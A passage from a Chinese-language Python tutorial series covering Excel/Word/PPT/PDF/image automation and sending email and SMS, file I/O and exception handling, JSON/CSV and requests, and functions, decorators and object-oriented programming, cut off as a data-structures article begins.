# 列宽 / 行高
ws.column_dimensions["A"].width = 20
ws.row_dimensions[1].height = 30

# 合并单元格
ws.merge_cells("A1:D1")

生成统计图表

from openpyxl.chart import BarChart, LineChart, PieChart, Reference

# 柱状图
chart = BarChart()
chart.title = "成绩对比"
chart.x_axis.title = "姓名"
chart.y_axis.title = "分数"

# 数据范围（min_col, min_row, max_col, max_row）
data = Reference(ws, min_col=2, min_row=1, max_col=3, max_row=3)
cats = Reference(ws, min_col=1, min_row=2, max_row=3)
chart.add_data(data, titles_from_data=True)
chart.set_categories(cats)

ws.add_chart(chart, "F2")       # 图表锚定到 F2 单元格
wb.save("chart.xlsx")

二、Word 文档（python-docx）

from docx import Document
from docx.shared import Pt, RGBColor
from docx.enum.text import WD_ALIGN_PARAGRAPH

# 创建文档
doc = Document()

# 添加标题（0-9 级）
doc.add_heading("项目报告", level=0)
doc.add_heading("一、概述", level=1)

# 添加段落
p = doc.add_paragraph("这是正文内容。")
p.alignment = WD_ALIGN_PARAGRAPH.CENTER    # 居中

# 设置文字样式（run 是段落中格式统一的一段文字）
run = p.add_run("加粗红字")
run.bold = True
run.font.size = Pt(14)
run.font.color.rgb = RGBColor(0xFF, 0x00, 0x00)

# 添加列表
doc.add_paragraph("第一项", style="List Bullet")
doc.add_paragraph("第二项", style="List Number")

# 添加表格
table = doc.add_table(rows=2, cols=3)
table.style = "Table Grid"
table.rows[0].cells[0].text = "姓名"
table.rows[1].cells[0].text = "Ethan"

# 添加图片
doc.add_picture("logo.png")

doc.save("report.docx")

# 读取已有文档
doc = Document("report.docx")
for para in doc.paragraphs:
    print(para.text)

三、PPT 演示文稿（python-pptx）

from pptx import Presentation
from pptx.util import Inches, Pt

prs = Presentation()

# 用版式添加幻灯片（0=标题页，1=标题+内容，5=纯标题，6=空白）
slide_layout = prs.slide_layouts[1]
slide = prs.slides.add_slide(slide_layout)

# 设置标题和正文
slide.shapes.title.text = "Python 办公自动化"
slide.placeholders[1].text = "用代码解放双手"

# 添加文本框
from pptx.util import Inches
left, top = Inches(1), Inches(3)
txbox = slide.shapes.add_textbox(left, top, Inches(8), Inches(1))
txbox.text_frame.text = "这是自定义文本框"

# 添加图片
slide.shapes.add_picture("chart.png", Inches(1), Inches(4))

prs.save("presentation.pptx")

四、PDF 处理

提取文本

# 方式1：pypdf
from pypdf import PdfReader

reader = PdfReader("doc.pdf")
print(f"共 {len(reader.pages)} 页")
for page in reader.pages:
    text = page.extract_text()
    print(text)

# 方式2：pdfplumber（表格提取更强）
import pdfplumber
with pdfplumber.open("doc.pdf") as pdf:
    for page in pdf.pages:
        print(page.extract_text())
        for table in page.extract_tables():   # 提取表格
            print(table)

合并、拆分、旋转

from pypdf import PdfReader, PdfWriter

# 合并多个 PDF
writer = PdfWriter()
for filename in ["a.pdf", "b.pdf"]:
    reader = PdfReader(filename)
    for page in reader.pages:
        writer.add_page(page)
with open("merged.pdf", "wb") as f:
    writer.write(f)

# 拆分（每页存一个文件）
reader = PdfReader("doc.pdf")
for i, page in enumerate(reader.pages):
    w = PdfWriter()
    w.add_page(page)
    with open(f"page_{i}.pdf", "wb") as f:
        w.write(f)

# 旋转页面
reader = PdfReader("doc.pdf")
writer = PdfWriter()
for page in reader.pages:
    page.rotate(90)          # 顺时针旋转 90 度
    writer.add_page(page)

加密与加水印

from pypdf import PdfReader, PdfWriter

# 加密 PDF
writer = PdfWriter()
reader = PdfReader("doc.pdf")
for page in reader.pages:
    writer.add_page(page)
writer.encrypt("password123")     # 设置密码
with open("encrypted.pdf", "wb") as f:
    writer.write(f)

# 批量加水印（把水印 PDF 叠加到每页）
watermark = PdfReader("watermark.pdf").pages[0]
writer = PdfWriter()
for page in PdfReader("doc.pdf").pages:
    page.merge_page(watermark)     # 叠加水印
    writer.add_page(page)
with open("watermarked.pdf", "wb") as f:
    writer.write(f)

从 HTML/文本创建 PDF

# reportlab（可生成带中文的 PDF，需注册中文字体）
from reportlab.pdfgen import canvas
from reportlab.pdfbase import pdfmetrics
from reportlab.pdfbase.ttfonts import TTFont

pdfmetrics.registerFont(TTFont("SimHei", "simhei.ttf"))   # 注册中文字体
c = canvas.Canvas("created.pdf")
c.setFont("SimHei", 16)
c.drawString(100, 750, "你好，PDF！")
c.save()

五、图像处理（Pillow）

from PIL import Image, ImageDraw, ImageFont, ImageFilter

# 打开图像
img = Image.open("photo.jpg")
print(img.size, img.mode)        # (宽,高) 模式(RGB/RGBA/L)

# 基本操作
img.resize((400, 300))           # 缩放
img.rotate(90)                   # 旋转
img.crop((100, 100, 400, 400))   # 裁剪 (left, upper, right, lower)
img.transpose(Image.FLIP_LEFT_RIGHT)   # 水平翻转
img.convert("L")                 # 转灰度
img.thumbnail((200, 200))        # 生成缩略图（保持比例）

# 滤镜
img.filter(ImageFilter.BLUR)             # 模糊
img.filter(ImageFilter.CONTOUR)          # 轮廓
img.filter(ImageFilter.SHARPEN)          # 锐化

# 保存
img.save("output.png")           # 靠扩展名决定格式（可 jpg→png）
img.save("quality.jpg", quality=85)   # JPEG 质量

绘图与添加水印

from PIL import Image, ImageDraw, ImageFont

img = Image.open("photo.jpg").convert("RGBA")
draw = ImageDraw.Draw(img)

# 画图形
draw.line([(0, 0), (200, 200)], fill="red", width=3)
draw.rectangle([50, 50, 150, 150], outline="blue", width=2)
draw.ellipse([200, 50, 300, 150], fill="green")

# 写文字（含中文需指定字体）
font = ImageFont.truetype("arial.ttf", 36)
draw.text((10, 10), "Hello", fill="white", font=font)

# 图片水印（把 logo 半透明叠加）
logo = Image.open("logo.png").convert("RGBA")
logo.putalpha(128)               # 设置透明度 0-255
img.paste(logo, (10, 10), logo)  # 第三个参数是 mask

img.save("watermarked.png")

六、发送邮件和短信

发送电子邮件（smtplib）

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.header import Header

# 1. 构造邮件内容
msg = MIMEMultipart()
msg["From"] = "sender@qq.com"
msg["To"] = "receiver@example.com"
msg["Subject"] = Header("测试邮件", "utf-8")

# 正文（HTML 格式）
body = "<h1>标题</h1><p>这是一封 <b>HTML</b> 邮件</p>"
msg.attach(MIMEText(body, "html", "utf-8"))

# 添加附件
with open("report.pdf", "rb") as f:
    attachment = MIMEText(f.read(), "base64", "utf-8")
    attachment["Content-Type"] = "application/octet-stream"
    attachment["Content-Disposition"] = 'attachment; filename="report.pdf"'
    msg.attach(attachment)

# 2. 通过 SMTP 发送（以 QQ 邮箱为例，用授权码而非登录密码）
try:
    server = smtplib.SMTP_SSL("smtp.qq.com", 465)   # SSL 端口 465
    server.login("sender@qq.com", "授权码")
    server.sendmail("sender@qq.com", ["receiver@example.com"], msg.as_string())
    server.quit()
    print("发送成功")
except smtplib.SMTPException as e:
    print(f"发送失败：{e}")

[!WARNING] 邮箱登录用的是 SMTP 授权码（在邮箱设置里开启 SMTP 服务后获取），不是网页登录密码。授权码属于敏感信息，务必放环境变量或配置文件，不要硬编码进代码或提交到 Git。

发送短信

# 短信需要第三方服务商（阿里云、腾讯云等），这里以阿里云 SDK 为例
from alibabacloud_dysmsapi20170525.client import Client
from alibabacloud_dysmsapi20170525 import models
from alibabacloud_tea_openapi import models as open_api_models

def send_sms(phone, code):
    config = open_api_models.Config(
        access_key_id="你的AK",
        access_key_secret="你的SK",
    )
    config.endpoint = "dysmsapi.aliyuncs.com"
    client = Client(config)
    request = models.SendSmsRequest(
        phone_numbers=phone,
        sign_name="你的签名",
        template_code="SMS_xxx",
        template_param=f'{{"code":"{code}"}}',
    )
    response = client.send_sms(request)
    return response.body.code == "OK"

# 调用
send_sms("13800138000", "123456")

常见问题 Q&A

Q1：处理旧的 .xls（Excel 97-2003）用什么？ A：openpyxl 只支持 .xlsx。老的 .xls 用 xlrd（读）和 xlwt（写）。现在基本都用 .xlsx 了。

Q2：Excel 里写的公式，openpyxl 能算出结果吗？ A：不能。openpyxl 只写入公式字符串（如 "=B2+C2"），不会计算。需要计算结果得用 Excel/WPS 打开触发计算，或用 formulas 库，或干脆用 Python 算好再写入值。

Q3：中文 PDF 提取出来是乱码或空白？ A：pypdf 对某些 PDF（尤其扫描件、特殊编码）支持有限。表格和复杂版式推荐用 pdfplumber；扫描件（图片型 PDF）需要先 OCR（如 pytesseract）。

Q4：Pillow 处理中文文字显示方块？ A：默认字体不含中文。必须用 ImageFont.truetype("中文字体.ttf", size) 指定一个中文字体文件（如 simhei.ttf、msyh.ttf）。

Q5：这些库需要装 Office 吗？ A：不需要。openpyxl/python-docx/python-pptx 都是纯 Python 操作文件，跨平台，服务器上没装 Office 也能跑，这也是自动化批处理的优势。

Q6：发邮件端口怎么选？ A：465 用 SSL（SMTP_SSL），587 用 STARTTLS（SMTP + starttls()），25 常被运营商封禁。推荐 465 SSL。

复习卡片

[!TIP] 办公自动化速记

Excel：load_workbook 读 / Workbook 写，ws.append() 加行，iter_rows 遍历，openpyxl.chart 画图

Word：Document()，add_heading/add_paragraph/add_table/add_picture，run 控样式

PPT：Presentation()，slide_layouts 选版式，shapes.title / placeholders 填内容

PDF：pypdf 合并拆分旋转加密，pdfplumber 提文本表格，水印用 merge_page

图像：Image.open，resize/rotate/crop/thumbnail/filter，ImageDraw 绘图，putalpha 调透明度

邮件：smtplib + MIMEMultipart，用 SMTP 授权码，465 端口走 SSL

安全：授权码/AK-SK 放环境变量，绝不硬编码进 Git

通用优势：纯 Python 操作，无需装 Office，跨平台可批处理

[!TIP] 下一篇：正则表达式与 Linux 将讲解正则表达式的语法规则和在 Python 中的应用（输入验证、内容提取、替换、拆分），以及 Linux 操作系统的基础命令、文件系统和 Shell 编程。

返回 Python 学习路线总览 | 合集页

文件操作与数据交换

Fri, 18 Sep 2026 03:00:00 GMT

[!NOTE] 本文对应仓库 Day21~23：文件读写与异常处理、对象序列化（JSON）、CSV 文件读写、pip 包管理、调用网络 API。这是与外部数据打交道的基础能力。

一、文件读写

打开和关闭文件

# 传统方式（不推荐，容易忘记 close）
f = open("test.txt", "r", encoding="utf-8")
content = f.read()
f.close()

# 推荐方式：with 上下文管理器（自动关闭，即使出错）
with open("test.txt", "r", encoding="utf-8") as f:
    content = f.read()
# 出了 with 块，文件自动关闭

打开模式

模式	含义	文件不存在	文件存在
`r`	只读（默认）	报错	从头读
`w`	只写	创建	清空后写
`a`	追加	创建	末尾追加
`r+`	读写	报错	从头读写
`w+`	读写	创建	清空后读写
`b`	二进制（叠加，如 `rb`）	-	按字节

[!WARNING] w 模式会清空原文件！想追加内容一定要用 a。处理中文文本务必指定 encoding="utf-8"，否则 Windows 下默认 GBK 会乱码。

读写文本文件

# 写入
with open("note.txt", "w", encoding="utf-8") as f:
    f.write("第一行\n")
    f.write("第二行\n")
    f.writelines(["第三行\n", "第四行\n"])   # 写多行（不会自动加换行）

# 读取的三种方式
with open("note.txt", "r", encoding="utf-8") as f:
    all_content = f.read()          # 一次读全部（大文件慎用，占内存）

with open("note.txt", "r", encoding="utf-8") as f:
    lines = f.readlines()           # 读成列表，每行一个元素

# 推荐：逐行迭代（省内存，适合大文件）
with open("note.txt", "r", encoding="utf-8") as f:
    for line in f:                  # 文件对象是可迭代的
        print(line.strip())         # strip() 去掉行尾换行符

读写二进制文件

# 复制图片（二进制用 rb / wb）
with open("source.jpg", "rb") as src, open("copy.jpg", "wb") as dst:
    # 分块读取，避免大文件撑爆内存
    while chunk := src.read(4096):   # 海象运算符 := (Python 3.8+)
        dst.write(chunk)

二、异常处理

try / except / else / finally

try:
    num = int(input("输入一个整数："))
    result = 10 / num
except ValueError:                    # 捕获特定异常
    print("输入的不是有效整数")
except ZeroDivisionError:
    print("不能除以 0")
except (TypeError, KeyError) as e:    # 捕获多种，as e 拿到异常对象
    print(f"其他错误：{e}")
except Exception as e:                # 兜底捕获所有（放最后）
    print(f"未知错误：{e}")
else:
    print(f"没有异常，结果 = {result}")   # try 成功才执行
finally:
    print("无论如何都会执行（常用于清理资源）")

执行流程

try 块
  ├─ 无异常 → 执行 else → 执行 finally
  └─ 有异常 → 匹配 except → 执行对应 except → 执行 finally

主动抛出与自定义异常

# 主动抛出异常
def set_age(age):
    if age < 0:
        raise ValueError("年龄不能为负数")
    return age

# 自定义异常类（继承 Exception）
class BusinessError(Exception):
    def __init__(self, code, message):
        self.code = code
        self.message = message
        super().__init__(message)

try:
    raise BusinessError(404, "用户不存在")
except BusinessError as e:
    print(f"错误码 {e.code}: {e.message}")

# 重新抛出 / 异常链
try:
    1 / 0
except ZeroDivisionError:
    print("记录日志...")
    raise                # 重新抛出原异常

上下文管理器语法

with 能自动管理资源，本质是对象实现了 __enter__ 和 __exit__。也可自定义：

# 方式1：类实现
class MyContext:
    def __enter__(self):
        print("进入")
        return self
    def __exit__(self, exc_type, exc_val, exc_tb):
        print("退出（自动清理）")
        return False     # False 表示不吞掉异常

with MyContext() as ctx:
    print("执行中")

# 方式2：contextlib 装饰器（更简洁）
from contextlib import contextmanager

@contextmanager
def timer():
    import time
    start = time.time()
    yield                       # yield 前是 __enter__，后是 __exit__
    print(f"耗时 {time.time()-start:.4f}s")

with timer():
    sum(range(1000000))

三、JSON 序列化与反序列化

JSON 是跨语言的数据交换格式，Python 用内置 json 模块处理。

import json

data = {"name": "Ethan", "age": 25, "skills": ["Python", "Go"], "vip": True}

# 序列化：Python 对象 → JSON 字符串
json_str = json.dumps(data)                      # 紧凑
json_str = json.dumps(data, ensure_ascii=False)  # 保留中文（不转义成 \uXXXX）
json_str = json.dumps(data, indent=2, ensure_ascii=False)  # 美化缩进
print(json_str)

# 反序列化：JSON 字符串 → Python 对象
obj = json.loads(json_str)
print(obj["name"])       # Ethan

# 直接读写文件
# 写入文件
with open("data.json", "w", encoding="utf-8") as f:
    json.dump(data, f, ensure_ascii=False, indent=2)

# 从文件读取
with open("data.json", "r", encoding="utf-8") as f:
    loaded = json.load(f)

Python 类型 ↔ JSON 类型对照

Python	JSON
dict	object `{}`
list / tuple	array `[]`
str	string
int / float	number
True / False	true / false
None	null

[!NOTE] dumps/dump 是序列化（s = string），loads/load 是反序列化。带 s 的处理字符串，不带 s 的直接处理文件对象。ensure_ascii=False 是让中文正常显示的关键。

四、CSV 文件读写

CSV（逗号分隔值）是最简单的表格数据格式，用内置 csv 模块。

import csv

# 写入 CSV
with open("users.csv", "w", newline="", encoding="utf-8") as f:
    writer = csv.writer(f)
    writer.writerow(["姓名", "年龄", "城市"])           # 写一行（表头）
    writer.writerows([                                  # 写多行
        ["Ethan", 25, "上海"],
        ["Tom", 30, "北京"],
    ])

# 读取 CSV（每行是一个列表）
with open("users.csv", "r", newline="", encoding="utf-8") as f:
    reader = csv.reader(f)
    for row in reader:
        print(row)          # ['姓名', '年龄', '城市'] ...

# 用字典方式读写（更适合有表头的数据）
# 写入
with open("users.csv", "w", newline="", encoding="utf-8") as f:
    fields = ["姓名", "年龄"]
    writer = csv.DictWriter(f, fieldnames=fields)
    writer.writeheader()
    writer.writerow({"姓名": "Ethan", "年龄": 25})

# 读取（每行是一个字典）
with open("users.csv", "r", newline="", encoding="utf-8") as f:
    for row in csv.DictReader(f):
        print(row["姓名"], row["年龄"])

[!WARNING] Windows 下写 CSV 一定要加 newline=""，否则每行之间会多一个空行。

五、pip 包管理

# 安装第三方库
pip install requests
pip install requests==2.31.0      # 指定版本
pip install "requests>=2.0"       # 版本范围

# 查看 / 卸载
pip list                          # 已安装的所有包
pip show requests                 # 某个包的信息
pip uninstall requests            # 卸载

# 依赖管理（项目协作必备）
pip freeze > requirements.txt     # 导出当前环境依赖
pip install -r requirements.txt   # 从文件安装依赖

# 使用国内镜像加速
pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple

# requirements.txt 示例
requests==2.31.0
pandas>=2.0
Django~=4.2          # ~= 兼容版本（>=4.2, <4.3）

六、用网络 API 获取数据

结合 requests 库和 JSON 处理，是爬虫和数据获取的基础。

import requests

# GET 请求一个公开 API
response = requests.get("https://api.github.com/users/jackfrued")

# 检查状态码
if response.status_code == 200:
    data = response.json()          # 直接把响应体解析成 dict
    print(data["login"])            # jackfrued
    print(data["public_repos"])

# 带参数的请求
resp = requests.get(
    "https://api.github.com/search/repositories",
    params={"q": "python", "sort": "stars"},   # 自动拼成 ?q=python&sort=stars
    headers={"User-Agent": "my-app"},           # 自定义请求头
    timeout=10,                                 # 超时（务必设置！）
)

# POST 请求（提交 JSON）
resp = requests.post(
    "https://httpbin.org/post",
    json={"key": "value"},           # 自动序列化并设 Content-Type
)

# 异常处理
try:
    resp = requests.get(url, timeout=5)
    resp.raise_for_status()          # 4xx/5xx 抛异常
except requests.exceptions.Timeout:
    print("请求超时")
except requests.exceptions.RequestException as e:
    print(f"请求失败：{e}")

实战：抓取并保存数据

import requests
import json

def fetch_and_save(url, filename):
    try:
        resp = requests.get(url, timeout=10)
        resp.raise_for_status()
        data = resp.json()
        # 保存为 JSON 文件
        with open(filename, "w", encoding="utf-8") as f:
            json.dump(data, f, ensure_ascii=False, indent=2)
        print(f"已保存到 {filename}")
    except requests.RequestException as e:
        print(f"抓取失败：{e}")

fetch_and_save("https://api.github.com/users/jackfrued", "user.json")

常见问题 Q&A

Q1：为什么一定要用 with open(...)？ A：with 是上下文管理器，无论代码是否出错，退出块时都会自动 close() 文件，避免资源泄漏。手动 open/close 容易在异常时忘记关闭。

Q2：read()、readline()、readlines() 区别？ A：read() 读全部成一个字符串；readline() 读一行；readlines() 读所有行成列表。大文件推荐直接 for line in f 逐行迭代，最省内存。

Q3：处理中文为什么会乱码？ A：没指定编码。open() 时务必加 encoding="utf-8"；json.dumps() 时加 ensure_ascii=False。Windows 默认编码是 GBK，不指定容易出问题。

Q4：except Exception 能捕获所有异常吗？ A：能捕获绝大多数，但捕获不了 SystemExit、KeyboardInterrupt（它们继承 BaseException）。不要写裸 except:，会连 Ctrl+C 都拦截。

Q5：JSON 和 pickle 怎么选？ A：JSON 跨语言、可读、安全，但只支持基本类型；pickle 是 Python 专用、支持任意对象，但不安全（反序列化可执行恶意代码），不要对不可信数据用 pickle。数据交换用 JSON。

Q6：requests 是标准库吗？ A：不是，需要 pip install requests。标准库是 urllib，但 API 难用，实际项目基本都用 requests（或异步的 httpx/aiohttp）。

复习卡片

[!TIP] 本篇速记

文件操作：with open(f, mode, encoding="utf-8")，模式 r/w/a/rb/wb，w 会清空

读取三法：read() 全部 / readlines() 列表 / for line in f 逐行（大文件首选）

异常结构：try → except(可多个) → else(成功时) → finally(必执行)

主动抛错：raise ValueError(...)；自定义异常继承 Exception

上下文管理器：__enter__/__exit__ 或 @contextmanager + yield

JSON：dumps/dump 序列化，loads/load 反序列化，ensure_ascii=False 保中文

CSV：csv.writer/reader，字典用 DictWriter/DictReader，Windows 加 newline=""

pip：freeze > requirements.txt 导出，-r 安装，用国内镜像加速

requests：get/post，resp.json()，务必设 timeout，raise_for_status() 检查

[!TIP] 下一篇：办公自动化与图像处理将讲解用 openpyxl 处理 Excel、python-docx/python-pptx 操作 Word 和 PPT、PyPDF 处理 PDF、Pillow 处理图像，以及发送邮件短信。

返回 Python 学习路线总览 | 合集页

函数、模块与面向对象

Fri, 18 Sep 2026 02:30:00 GMT

[!NOTE] 本文对应仓库 Day14~20：函数与模块、函数进阶（高阶函数/Lambda/装饰器/递归）、面向对象编程三大支柱。这是从"会写脚本"到"会设计程序"的关键跃迁。

一、函数与模块

定义函数

def greet(name):
    """向指定用户打招呼（这是文档字符串 docstring）"""
    return f"Hello, {name}!"

# 调用
msg = greet("Ethan")
print(msg)

# 无 return 的函数默认返回 None
def print_hi():
    print("hi")

函数的参数（重点）

# 1. 位置参数：按顺序传
def add(a, b):
    return a + b
add(1, 2)

# 2. 关键字参数：按名字传，顺序无关
add(a=1, b=2)
add(b=2, a=1)          # 等价

# 3. 默认参数：调用时可省略
def power(base, exp=2):
    return base ** exp
power(3)               # 9（用默认 exp=2）
power(3, 3)            # 27

# 4. 可变参数 *args：接收任意多个位置参数，打包成元组
def sum_all(*args):
    print(args)        # (1, 2, 3)
    return sum(args)
sum_all(1, 2, 3)

# 5. 可变关键字参数 **kwargs：打包成字典
def make_user(**kwargs):
    print(kwargs)      # {'name': 'Tom', 'age': 20}
make_user(name="Tom", age=20)

# 6. 混合使用（顺序：位置 → *args → 默认 → **kwargs）
def func(a, b, *args, c=10, **kwargs):
    pass

[!WARNING] 默认参数陷阱：默认值不要用可变对象（如 def f(x=[])）！因为默认值只在定义时创建一次，多次调用会共享同一个列表。正确做法：def f(x=None): if x is None: x = []。

用模块管理函数

# module_a.py
def hello():
    return "hello from module_a"

PI = 3.14

# main.py 导入的几种方式
import module_a                    # 用 module_a.hello()
from module_a import hello, PI     # 直接用 hello()
from module_a import *             # 导入全部（不推荐，易命名冲突）
import module_a as ma              # 别名 ma.hello()

# 标准库示例
import math, random, os, sys, datetime

二、函数使用进阶

高阶函数（函数作为参数/返回值）

# Python 中函数是一等公民，可以当参数传递
def apply(func, value):
    return func(value)

print(apply(abs, -5))          # 5
print(apply(lambda x: x*2, 10)) # 20

# 内置高阶函数
nums = [1, 2, 3, 4, 5]
print(list(map(lambda x: x**2, nums)))       # [1,4,9,16,25] 映射
print(list(filter(lambda x: x % 2 == 0, nums)))  # [2,4] 过滤
from functools import reduce
print(reduce(lambda a, b: a * b, nums))      # 120 累积
print(sorted(nums, key=lambda x: -x))        # 降序排序

Lambda 函数（匿名函数）

# 语法：lambda 参数: 表达式（只能是一个表达式）
square = lambda x: x ** 2
print(square(5))             # 25

add = lambda a, b: a + b
print(add(1, 2))             # 3

# 常用于 sort/map/filter 的 key
students = [("Tom", 85), ("Amy", 92), ("Bob", 78)]
students.sort(key=lambda s: s[1], reverse=True)   # 按分数降序
print(students)

偏函数

from functools import partial

def power(base, exp):
    return base ** exp

square = partial(power, exp=2)   # 固定 exp=2
cube = partial(power, exp=3)
print(square(5))    # 25
print(cube(3))      # 27

# int 转换固定进制
int2 = partial(int, base=2)
print(int2("1010"))   # 10（二进制转十进制）

三、函数高级应用

装饰器（Decorator）

装饰器本质是"接收函数、返回新函数"的高阶函数，用于不修改原函数代码的前提下增强功能（如日志、计时、权限校验）。

import time
from functools import wraps

# 定义一个计时装饰器
def timer(func):
    @wraps(func)                       # 保留原函数的名字和文档
    def wrapper(*args, **kwargs):
        start = time.time()
        result = func(*args, **kwargs) # 调用原函数
        print(f"{func.__name__} 耗时 {time.time()-start:.4f}s")
        return result
    return wrapper

# 用 @语法糖 应用装饰器
@timer
def slow_func():
    time.sleep(1)

slow_func()        # 输出：slow_func 耗时 1.00xxs

# 带参数的装饰器（三层嵌套）
def repeat(n):
    def decorator(func):
        @wraps(func)
        def wrapper(*args, **kwargs):
            for _ in range(n):
                func(*args, **kwargs)
        return wrapper
    return decorator

@repeat(3)
def say_hi():
    print("hi")
say_hi()           # 打印 3 次 hi

递归调用

# 函数调用自己，必须有终止条件（否则栈溢出 RecursionError）
def factorial(n):
    if n <= 1:            # 递归出口
        return 1
    return n * factorial(n - 1)

print(factorial(5))       # 120

# 斐波那契（朴素递归，效率低，有重复计算）
def fib(n):
    if n < 2:
        return n
    return fib(n-1) + fib(n-2)

# 用缓存优化（记忆化）
from functools import lru_cache
@lru_cache(maxsize=None)
def fib_fast(n):
    return n if n < 2 else fib_fast(n-1) + fib_fast(n-2)

[!NOTE] Python 默认递归深度约 1000 层，可用 sys.setrecursionlimit() 调整。能用循环就别用深递归，容易栈溢出且效率低。

四、面向对象编程（OOP）

类和对象

class Dog:
    # 类属性（所有实例共享）
    species = "canine"

    # 初始化方法（构造器），self 代表实例本身
    def __init__(self, name, age):
        # 实例属性
        self.name = name
        self.age = age

    # 实例方法（第一个参数必须是 self）
    def bark(self):
        return f"{self.name} 汪汪叫！"

# 创建对象（实例化）
dog = Dog("旺财", 3)
print(dog.name)        # 旺财
print(dog.bark())      # 旺财 汪汪叫！
print(Dog.species)     # canine（类属性）

可见性与属性装饰器

Python 没有真正的 private，用命名约定：_name 表示"受保护"，__name 触发名称改写（name mangling）实现弱私有。

class Person:
    def __init__(self, name, age):
        self._name = name
        self.__age = age          # 名称改写为 _Person__age

    # 用 @property 把方法伪装成属性访问（推荐做法）
    @property
    def age(self):
        return self.__age

    @age.setter
    def age(self, value):         # setter 里做校验
        if 0 <= value <= 150:
            self.__age = value
        else:
            raise ValueError("年龄不合法")

p = Person("Tom", 25)
print(p.age)        # 25（像访问属性一样，实际调用 getter）
p.age = 30          # 调用 setter
# p.age = 200       # ValueError

静态方法与类方法

class MathUtil:
    PI = 3.14159

    def __init__(self, value):
        self.value = value

    # 实例方法：操作实例属性，第一个参数 self
    def double(self):
        return self.value * 2

    # 类方法：第一个参数 cls（类本身），常用作工厂方法
    @classmethod
    def from_string(cls, s):
        return cls(float(s))       # 创建实例

    # 静态方法：不访问实例也不访问类，就是放在类里的普通函数
    @staticmethod
    def add(a, b):
        return a + b

print(MathUtil.add(1, 2))              # 3（静态方法，无需实例）
obj = MathUtil.from_string("3.14")     # 类方法创建实例
print(obj.value)                       # 3.14

继承与多态

# 基类（父类）
class Animal:
    def __init__(self, name):
        self.name = name

    def speak(self):
        raise NotImplementedError("子类必须实现 speak")

    def info(self):
        return f"我是 {self.name}"

# 子类继承父类
class Cat(Animal):
    def speak(self):            # 重写（override）父类方法
        return "喵喵"

class Dog(Animal):
    def __init__(self, name, breed):
        super().__init__(name)  # 调用父类构造器
        self.breed = breed

    def speak(self):
        return "汪汪"

# 多态：同一个接口，不同子类有不同行为
animals = [Cat("咪咪"), Dog("旺财", "柴犬")]
for a in animals:
    print(f"{a.name}: {a.speak()}")   # 各自调用自己的 speak

# 多重继承与方法解析顺序（MRO）
class A:
    def hello(self): return "A"
class B(A):
    def hello(self): return "B"
class C(A):
    def hello(self): return "C"
class D(B, C):        # 菱形继承
    pass
print(D().hello())    # B（按 MRO：D→B→C→A）
print(D.__mro__)      # 查看方法解析顺序

五、面向对象实战

例子1：数字时钟

import time, os

class Clock:
    def __init__(self, hour=0, minute=0, second=0):
        self.hour, self.minute, self.second = hour, minute, second

    def run(self):
        self.second += 1
        if self.second == 60:
            self.second = 0
            self.minute += 1
            if self.minute == 60:
                self.minute = 0
                self.hour += 1
                if self.hour == 24:
                    self.hour = 0

    def show(self):
        return f"{self.hour:02d}:{self.minute:02d}:{self.second:02d}"

clock = Clock(23, 59, 58)
for _ in range(5):
    print(clock.show())
    clock.run()
    time.sleep(1)

例子2：工资结算系统（多态）

from abc import ABC, abstractmethod

# 抽象基类：定义接口，不能实例化
class Employee(ABC):
    def __init__(self, name):
        self.name = name

    @abstractmethod
    def get_salary(self):
        """子类必须实现"""
        pass

class Manager(Employee):
    def get_salary(self):
        return 15000.0

class Programmer(Employee):
    def __init__(self, name, hour):
        super().__init__(name)
        self.hour = hour
    def get_salary(self):
        return 200 * self.hour        # 时薪 200

class Salesman(Employee):
    def __init__(self, name, sales):
        super().__init__(name)
        self.sales = sales
    def get_salary(self):
        return 1500 + 0.05 * self.sales   # 底薪 + 提成

# 多态：统一处理不同员工
employees = [Manager("经理"), Programmer("程序猿", 160), Salesman("销售", 50000)]
for emp in employees:
    print(f"{emp.name}: {emp.get_salary():.2f} 元")

常见问题 Q&A

Q1：self 是什么？必须写吗？ A：self 代表实例本身，是实例方法的第一个参数。名字可以改但约定俗成用 self。调用时 Python 自动传入，不用手动传。

Q2：__init__ 和构造函数？ A：__init__ 是初始化方法（构造时自动调用）。还有 __new__ 才是真正创建对象的，但极少用。

Q3：类属性 vs 实例属性？ A：类属性定义在类里、方法外，所有实例共享；实例属性在 __init__ 里用 self.xxx 定义，每个实例独立。

Q4：装饰器 @property 有什么用？ A：把方法变成"属性"访问方式（obj.age 而非 obj.get_age()），同时能在 setter 里加校验逻辑，是封装的推荐做法。

Q5：@staticmethod 和 @classmethod 区别？ A：静态方法不接收 self/cls，就是普通函数放类里做归类；类方法第一个参数是 cls，常用于工厂方法创建实例、操作类属性。

Q6：Python 支持真正的私有吗？ A：不支持。__name 只是名称改写（变成 _类名__name），仍可访问。_name 是约定的"受保护"，纯靠自觉。

Q7：装饰器和闭包的关系？ A：装饰器基于闭包实现——内层 wrapper 函数引用了外层函数的参数 func，形成闭包。理解闭包才能理解装饰器。

复习卡片

[!TIP] 本篇速记

参数五种：位置、关键字、默认、*args（元组）、**kwargs（字典）

默认参数陷阱：别用可变对象做默认值，用 None 兜底

高阶函数：map/filter/reduce/sorted + Lambda

装饰器：@decorator = 不改原函数增强功能，配 @wraps 保留元信息

递归：必须有出口，lru_cache 可记忆化优化

类三大支柱：封装（@property）、继承（super()）、多态（重写方法）

三种方法：实例方法(self)、类方法(@classmethod, cls)、静态方法(@staticmethod)

抽象基类：ABC + @abstractmethod 强制子类实现

MRO：多重继承按 __mro__ 顺序查找方法（C3 线性化）

[!TIP] 下一篇：文件操作与数据交换将讲解文件读写、异常处理、上下文管理器，以及 JSON/CSV 数据格式的处理和用网络 API 获取数据。

返回 Python 学习路线总览 | 合集页

常用数据结构

Fri, 18 Sep 2026 02:00:00 GMT

[!NOTE] 本文对应仓库 Day08~13：列表、元组、字符串、集合、字典。这五大结构是 Python 日常编程的绝对主力，面试也是高频考点，务必熟练掌握它们的方法和相互转换。

五大结构速览

结构	字面量	有序	可变	可重复	典型用途
列表 list	`[1, 2, 3]`	✅	✅	✅	通用序列、栈
元组 tuple	`(1, 2, 3)`	✅	❌	✅	不可变记录、多返回值
字符串 str	`"abc"`	✅	❌	✅	文本
集合 set	`{1, 2, 3}`	❌	✅	❌	去重、交并差
字典 dict	`{"k": "v"}`	✅(3.7+)	✅	键唯一	键值映射

一、列表（list）

创建与运算

# 创建
nums = [1, 2, 3, 4, 5]
mixed = [1, "two", 3.0, True, None]     # 可混合类型
empty = []                               # 或 list()

# 运算
